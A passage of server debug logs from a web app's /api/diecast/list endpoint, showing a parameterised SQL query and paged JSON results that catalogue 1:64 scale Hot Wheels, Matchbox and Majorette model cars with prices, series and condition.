    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-25T11:16:47.320Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 52,
      model_name: 'Ferrari SF90 Stradale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 26,
      model_name: 'Ferrari 365 GTB4 Competizione',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-08T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 1,
      photoshoot: 1,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-25T11:16:54.301Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-25T11:16:54.301Z server-connect:app Executing action step identify
2026-02-25T11:16:54.301Z server-connect:app options: { provider: 'security' }
2026-02-25T11:16:54.301Z server-connect:output identity: 1
2026-02-25T11:16:54.301Z server-connect:app Executing action step restrict
2026-02-25T11:16:54.301Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:16:54.302Z server-connect:output restrict: undefined
2026-02-25T11:16:54.302Z server-connect:app Executing action step paged
2026-02-25T11:16:54.302Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-25T11:16:54.305Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 20,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 55,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 45,
      model_name: 'GT Shelby GT500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 41,
      model_name: '99 Ford F-150 SVT Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 40,
      model_name: " Ford Model A Custom '31",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 30,
      model_name: "Custom '56 Ford Truck",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 27,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-25T11:17:08.654Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-25T11:17:08.655Z server-connect:app Executing action step identify
2026-02-25T11:17:08.655Z server-connect:app options: { provider: 'security' }
2026-02-25T11:17:08.655Z server-connect:output identity: 1
2026-02-25T11:17:08.655Z server-connect:app Executing action step restrict
2026-02-25T11:17:08.655Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:17:08.656Z server-connect:output restrict: undefined
2026-02-25T11:17:08.656Z server-connect:app Executing action step paged
2026-02-25T11:17:08.656Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-25T11:17:08.659Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
